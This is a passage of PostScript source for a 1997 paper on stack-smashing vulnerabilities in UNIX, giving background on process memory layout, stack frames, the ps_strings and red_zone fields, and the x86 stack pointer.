(n)S -0.400 0 (e)A 3.000 0 32 (d )W -0.400 0 (a)A 2.800 0 32 0.200 0 (t )D -0.300 0 (r)A 3.000 0 32 (un )W 0.200 0 (tim)A -0.400 0 (e)A 3.000 0 32 (, )W -0.400 0 (a)A 2.900 0 32 0.100 0 (s )D (oppo)S 0.100 0 (s)A -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (t)A 3.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 3.400 0 32 -0.400 0 (c )D (d)S -0.400 0 (a)A 0.200 0 (t)A 3.400 0 32 -0.400 0 (a )D 0.200 0 (t)A (h)S -0.400 0 (a)A 2.800 0 32 0.200 0 (t i)D 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5445 M 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 4.000 0 32 -3.000 0 (y )D 0.200 0 (l)A (o)S -0.400 0 (a)A (d)S -0.400 0 (e)A 1.000 0 32 (d )W 0.200 0 (i)A (n)S 0.200 0 (t)A 1.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 1.000 0 32 (. )W 1.200 0 32 -0.200 0 (A )D -0.400 0 (c)A (on)S 0.200 0 (ti)A -1.000 0 (g)A (uou)S 0.900 0 32 0.100 0 (s )D (b)S 0.200 0 (l)A (o)S -0.400 0 (c)A 1.000 0 32 (k o)W 1.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 5.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (on)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D (d)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A 2.000 0 32 (, )W 2.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 2.000 0 32 (k )W 0.200 0 (i)A 1.900 0 32 0.100 0 (s )D 2.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5622 M -0.061 0 (structure for storing items which are to be accessed in last-in, first-out order[3].)A ; LH savelevel1 restore pagesave restore (%%[ Page: 12 ]%%) = %%PageTrailer %%Page: 13 13 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (13)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 504 M 0.600 0 (W)A (h)S -0.400 0 (e)A 10.000 0 32 (n )W -0.400 0 (a)A 10.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A 10.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D 0.200 0 (l)A (o)S -0.400 0 (a)A (d)S -0.400 0 (e)A 10.000 0 32 (d, )W -0.300 0 (f)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 9.800 0 32 0.200 0 (t t)D (h)S 11.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A 1.000 0 (x)A 10.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 10.800 0 32 0.200 0 (t i)D 10.900 0 32 0.100 0 (s )D 0.200 0 (l)A (o)S -0.400 0 (a)A (d)S -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (i)A (n)S 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 11.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M (d)S -0.400 0 (a)A 0.200 0 (t)A 26.400 0 32 -0.400 0 (a a)D -0.300 0 (r)A 26.400 0 32 -0.400 0 (ea )D 0.200 0 (i)A 25.900 0 32 0.100 0 (s )D 0.200 0 (l)A (o)S -0.400 0 (a)A (d)S -0.400 0 (e)A 27.000 0 32 (d )W 0.100 0 (s)A -0.400 0 (ec)A 27.000 0 32 (ond. )W -0.600 0 (F)A 0.200 0 (i)A (n)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A 27.000 0 32 (, )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 27.000 0 32 (k )W 0.200 0 (i)A 26.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 27.000 0 32 (d d)W -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 30.000 0 32 -3.000 0 (y )D -0.200 0 (w)A 0.200 0 (it)A 27.000 0 32 (h )W 0.600 0 (z)A -0.400 0 (e)A -0.300 0 (r)A (o)S -0.300 0 (-f)A 0.200 0 (ill)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 860 M 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 4.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 1.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.800 0 32 0.200 0 (m )D -0.400 0 (ca)A 0.800 0 32 0.200 0 (ll )D 0.100 0 (s)A (u)S -0.400 0 (c)A 2.000 0 32 (h )W -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2071 860 M 0.100 0 (s)A (b)S 0.100 0 (r)A -0.400 0 (k)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2243 860 M 2.000 0 32 (, )W -0.400 0 (c)A (o)S 0.200 0 (mm)A 2.000 0 32 (on )W 0.200 0 (t)A 2.000 0 32 (o )W 0.200 0 (m)A (o)S 0.100 0 (s)A 1.800 0 32 0.200 0 (t )D -0.700 0 (B)A 0.400 0 (S)A 2.200 0 32 -0.200 0 (D )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco (F0_100) cvn F0 100 xF F0_100 Ji 3721 858 M 2.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3800 860 M 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (ac)A 2.000 0 32 (k d)W -0.400 0 (a)A 0.200 0 (t)A 2.400 0 32 -0.400 0 (a )D 0.200 0 (t)A (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1037 M -1.000 0 (g)A -0.300 0 (r)A (o)S -0.200 0 (w)A 0.900 0 32 0.100 0 (s )D 0.200 0 (imm)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A 4.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (bov)S 1.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D -0.700 0 (B)A 0.600 0 32 0.400 0 (SS )D (d)S -0.400 0 (a)A 0.200 0 (t)A 1.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 1.800 0 32 0.200 0 (t i)D 1.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 0.200 0 (ll)A -0.400 0 (e)A 2.000 0 32 (d )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (ea)A 2.000 0 32 (p. )W -0.200 0 (H)A -0.400 0 (ea)A 2.000 0 32 (p )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 5.000 0 32 -3.000 0 (y )D -1.000 0 (g)A -0.300 0 (r)A (o)S -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1214 M -0.033 0 (up or down, depending on the CPU implementation.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1391 M -0.100 0 (T)A (h)S 4.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A 4.400 0 32 -0.400 0 (e c)D (on)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A 4.000 0 32 (o )W 4.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 4.000 0 32 (on, )W 0.200 0 (it)A 4.900 0 32 0.100 0 (s )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 4.800 0 32 0.200 0 (l )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 5.000 0 32 (, )W -0.400 0 (a)A 5.000 0 32 (nd )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1568 M (d)S -0.400 0 (a)A 0.200 0 (t)A 19.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 22.000 0 32 -3.000 0 (y )D 0.200 0 (t)A 19.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (ec)A (ov)S -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 18.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 19.000 0 32 (k )W -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 20.000 0 32 (, )W 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D (v)S -0.400 0 (a)A 0.200 0 (l)A (u)S 20.400 0 32 -0.400 0 (e )D (o)S 20.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1745 M (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 5.800 0 32 0.200 0 (t t)D (h)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (tim)A 6.400 0 32 -0.400 0 (e )D (o)S 6.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 6.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 0.700 0 ([)A (9)S 0.700 0 (])A 6.000 0 32 (. )W -0.200 0 (A)A (bov)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k, )W -0.400 0 (a)A 5.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 6.000 0 32 (nd )W 0.200 0 (li)A (n)S 6.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -1.000 0 (g)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1922 M (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 23.000 0 32 (, )W -0.400 0 (a)A 22.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A 22.800 0 32 0.200 0 (ll )D -0.400 0 (a)A 22.900 0 32 0.100 0 (s )D -0.400 0 (e)A (nv)S 0.200 0 (i)A -0.300 0 (r)A (on)S 0.200 0 (m)A -0.400 0 (e)A (n)S 22.800 0 32 0.200 0 (t )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 22.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 23.400 0 32 -0.400 0 (e a)D 0.200 0 (l)A 0.100 0 (s)A 24.000 0 32 (o p)W -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 24.000 0 32 (d )W 0.200 0 (t)A 24.000 0 32 (o )W 0.200 0 (t)A (h)S 24.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 23.900 0 32 0.100 0 (ss )D -0.400 0 (a)A 24.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (e)A 24.000 0 32 (d )W 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2099 M 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 13.000 0 32 -3.000 0 (y )D -0.300 0 (\()A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (c)A 10.000 0 32 (, )W -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A 10.000 0 32 (v, )W -0.400 0 (e)A 10.000 0 32 (nv, po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 9.900 0 32 0.100 0 (s )D -0.400 0 (a)A 10.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S -1.000 0 (g)A 0.100 0 (s)A -0.300 0 (\))A 10.000 0 32 (. )W -0.100 0 (T)A (h)S 10.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F8) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F8_83) cvn F8 83 xF F8_83 Ji 2800 2124 M 0.200 0 (ps_strings)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3300 2099 M 10.000 0 32 ( )W 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A (u)S -0.300 0 (r)A 10.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (t)A 11.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2276 M 0.200 0 (i)A (n)S -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (ti)A 28.000 0 32 (on )W -0.400 0 (a)A (bou)S 27.800 0 32 0.200 0 (t t)D (h)S 28.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 29.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 27.900 0 32 0.100 0 (ss )D (b)S -0.400 0 (ac)A 28.000 0 32 (k )W 0.200 0 (t)A 28.000 0 32 (o )W 0.200 0 (t)A (h)S 28.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 28.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 28.000 0 32 (nd o)W 28.300 0 32 -0.300 0 (r )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 29.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 28.000 0 32 (. )W 29.000 0 32 ( )W -0.100 0 (T)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F8_83 Ji 612 2478 M 0.200 0 (red_zone)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1012 2453 M 3.000 0 32 ( )W 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D 3.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (l)A 3.000 0 32 (d, no)W 2.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 2.800 0 32 0.200 0 (t )D (und)S -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D -0.400 0 (ce)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 3.000 0 32 (n h)W -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (it)A -0.400 0 (ec)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 4.000 0 32 (, u)W 0.100 0 (s)A -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (t)A 4.000 0 32 (o p)W -0.300 0 (r)A (o)S 0.200 0 (t)A -0.400 0 (ec)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2630 M 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (e)A -0.300 0 (r-)A (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 7.900 0 32 0.100 0 (ss )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 8.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 9.000 0 32 (k. )W -0.100 0 (T)A (h)S 9.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_83 Ji 1995 2655 M 0.200 0 (red_zone)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2395 2630 M 9.000 0 32 ( )W 0.100 0 (s)A 0.200 0 (it)A 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A 8.800 0 32 0.200 0 (t t)D (h)S 9.400 0 32 -0.400 0 (e )D (h)S 0.200 0 (i)A -1.000 0 (g)A (h)S -0.400 0 (e)A 0.100 0 (s)A 8.800 0 32 0.200 0 (t m)D -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 9.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (v)S 9.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 9.000 0 32 (o )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2807 M -0.120 0 (specific running process.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 2985 M 0.090 0 (7.1 Intel x86 Implementation under the Linux Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3190 M -0.100 0 (T)A (h)S 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r \()D 0.400 0 (SP)A 4.300 0 32 -0.300 0 (\) )D 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A -0.400 0 (e)A 5.000 0 32 (d )W 0.200 0 (t)A 5.000 0 32 (o po)W 0.200 0 (i)A (n)S 4.800 0 32 0.200 0 (t t)D 5.000 0 32 (o )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 5.000 0 32 (op o)W 5.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 5.000 0 32 (k on )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 4.800 0 32 0.200 0 (l )D 1.000 0 (x)A (86)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3367 M 0.300 0 (C)A 0.400 0 (P)A 9.200 0 32 -0.200 0 (U )D -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (mil)A -3.000 0 (y)A 9.000 0 32 (. )W 8.600 0 32 0.400 0 (SP )D (ho)S 0.200 0 (l)A (d)S 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e a)D (dd)S -0.300 0 (r)A -0.400 0 (e)A 8.900 0 32 0.100 0 (ss )D (o)S 9.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A 0.100 0 (s)A 8.800 0 32 0.200 0 (t )D (d)S -0.400 0 (a)A 0.200 0 (t)A 9.400 0 32 -0.400 0 (a e)D 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 8.800 0 32 0.200 0 (t t)D 9.000 0 32 (o b)W 9.400 0 32 -0.400 0 (e a)D (dd)S -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (t)A 10.000 0 32 (o o)W 10.300 0 32 -0.300 0 (r )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 10.000 0 32 (d on )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3544 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k. )W -0.100 0 (T)A (h)S 8.400 0 32 -0.400 0 (e )D (bo)S 0.200 0 (tt)A (o)S 7.800 0 32 0.200 0 (m )D (o)S 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D 8.400 0 32 -0.400 0 (a )D -0.300 0 (f)A 0.200 0 (i)A 1.000 0 (x)A -0.400 0 (e)A 8.000 0 32 (d )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 8.000 0 32 (. )W -2.300 0 (I)A 0.200 0 (t)A 7.900 0 32 0.100 0 (s s)D 0.200 0 (i)A 0.600 0 (z)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (d)S 0.200 0 (j)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 8.000 0 32 (d b)W 11.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3721 M (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 7.800 0 32 0.200 0 (l )D -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D -0.300 0 (r)A 8.000 0 32 (un )W 0.200 0 (tim)A -0.400 0 (e)A 8.000 0 32 (. )W -0.100 0 (T)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A 7.900 0 32 0.100 0 (s )D (o)S 8.300 0 32 -0.300 0 (f )D 0.200 0 (l)A (o)S -1.000 0 (g)A 0.200 0 (i)A -0.400 0 (ca)A 7.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 9.000 0 32 (d )W -0.200 0 (w)A (h)S -0.400 0 (e)A 9.000 0 32 (n )W -0.400 0 (ca)A 0.200 0 (lli)A (n)S 10.000 0 32 -1.000 0 (g )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3898 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 15.000 0 32 (on )W -0.400 0 (a)A 15.000 0 32 (nd popp)W -0.400 0 (e)A 15.000 0 32 (d )W -0.200 0 (w)A (h)S -0.400 0 (e)A 15.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S -1.000 0 (g)A 15.000 0 32 (. )W -0.100 0 (T)A (h)S 16.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 15.800 0 32 0.200 0 (l )D 1.000 0 (x)A 16.000 0 32 (86 )W 0.300 0 (C)A 0.400 0 (P)A 16.200 0 32 -0.200 0 (U )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 15.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco (F8_100) cvn F8 100 xF F8_100 Ji 3746 3908 M (PUSH)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3986 3898 M 16.000 0 32 ( )W -0.400 0 (a)A 16.000 0 32 (nd 